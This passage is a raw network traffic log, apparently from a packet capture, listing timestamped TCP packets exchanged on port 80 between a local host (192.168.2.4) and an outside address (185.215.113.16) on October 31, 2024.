Oct 31, 2024 23:38:09.760704994 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760718107 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760719061 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.760727882 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760730982 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.760739088 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760749102 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760751963 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.760759115 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760770082 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.760788918 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.760792017 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760802984 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760809898 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.760812044 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760823011 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760832071 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760837078 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.760890961 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.760940075 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760948896 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760957956 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760967016 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760977983 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760987997 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.760988951 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.761001110 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.761002064 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.761018038 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.761049032 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.761070967 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.761073112 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.761081934 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.761090040 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.761100054 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.761113882 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.761123896 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.761148930 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.791965008 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.791976929 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.791986942 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792056084 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792064905 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792073965 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792083979 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792102098 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792102098 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792109013 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792177916 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792186975 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792196035 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792206049 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792217970 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792222977 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792246103 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792268038 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792356968 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792366982 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792376041 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792387009 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792392015 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792409897 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792429924 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792654037 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792665005 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792675018 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792695999 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792706966 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792730093 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792740107 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792748928 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792758942 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792762995 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792776108 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792785883 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792785883 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792795897 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792808056 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792809963 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792839050 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792860985 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792880058 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792889118 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792897940 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.792916059 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.792931080 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.793010950 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793020964 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793030977 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793049097 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.793073893 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.793098927 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793107986 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793116093 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793126106 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793135881 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793138027 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.793159008 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.793183088 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.793183088 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793194056 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793203115 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793211937 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793215990 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.793222904 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793232918 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793241978 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793242931 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.793265104 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.793277025 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.793344975 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793381929 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.793404102 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793414116 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793442965 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.793451071 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.793612003 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793622971 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793632030 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793651104 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.793661118 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.793812990 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793823957 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.793850899 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.793873072 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794017076 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794054985 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794074059 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794085026 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794112921 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794122934 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794151068 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794159889 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794184923 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794194937 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794275045 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794284105 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794292927 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794313908 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794332027 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794364929 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794373989 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794383049 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794395924 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794406891 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794409037 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794430971 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794452906 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794478893 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794487953 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794497013 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794518948 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794531107 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794593096 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794631004 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794635057 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794644117 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794671059 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794680119 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794696093 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794706106 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794715881 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794727087 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794729948 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794739008 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794759035 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794764042 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794770956 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794774055 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794783115 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794795036 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794799089 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794819117 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794837952 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794837952 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794847012 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794856071 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794866085 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.794878960 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.794899940 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795042038 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795057058 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795067072 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795082092 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795105934 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795105934 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795123100 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795131922 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795144081 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795145035 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795172930 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795191050 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795219898 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795229912 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795238972 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795248032 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795258999 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795259953 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795269966 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795280933 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795286894 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795291901 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795303106 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795304060 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795310974 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795310974 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795327902 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795339108 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795342922 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795362949 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795373917 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795429945 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795440912 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795452118 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795463085 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795468092 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795474052 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795485973 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795509100 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795531034 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795567989 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795578003 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795588970 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795599937 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795603991 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795619011 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795645952 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795675993 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795715094 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795727968 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795738935 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795773029 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795829058 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795840979 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795850992 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795862913 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795867920 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795895100 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795909882 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795916080 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795922041 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795932055 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795943975 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.795958996 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795984030 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.795993090 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796004057 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796014071 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796025038 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796036005 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796047926 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796060085 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796063900 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796070099 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796082973 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796093941 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796097994 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796111107 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796113014 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796122074 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796130896 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796137094 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796148062 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796156883 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796159983 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796170950 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796184063 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796188116 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796205997 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796245098 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796271086 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796282053 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796291113 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796303988 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796312094 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796314955 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796328068 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796328068 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796344995 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796355963 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796359062 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796370029 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796379089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796389103 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796410084 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796411037 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796422005 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796422958 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796432018 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796443939 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796466112 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796492100 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796498060 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796514034 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796519995 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796529055 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796540022 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796549082 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796566963 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796574116 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796577930 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796586990 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796597004 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796607018 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796612978 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796617985 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796628952 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796638966 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796649933 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796657085 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796677113 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796679020 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796686888 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796700001 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796701908 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796715975 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796715975 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796725988 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796731949 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796751022 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796783924 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796801090 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796812057 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796822071 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796839952 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796864033 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796873093 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796884060 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796892881 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796904087 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796914101 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.796914101 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796940088 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.796950102 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.797024012 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.797034979 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.797051907 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.797061920 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.797068119 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.797072887 CET	80	49806	185.215.113.16	192.168.2.4
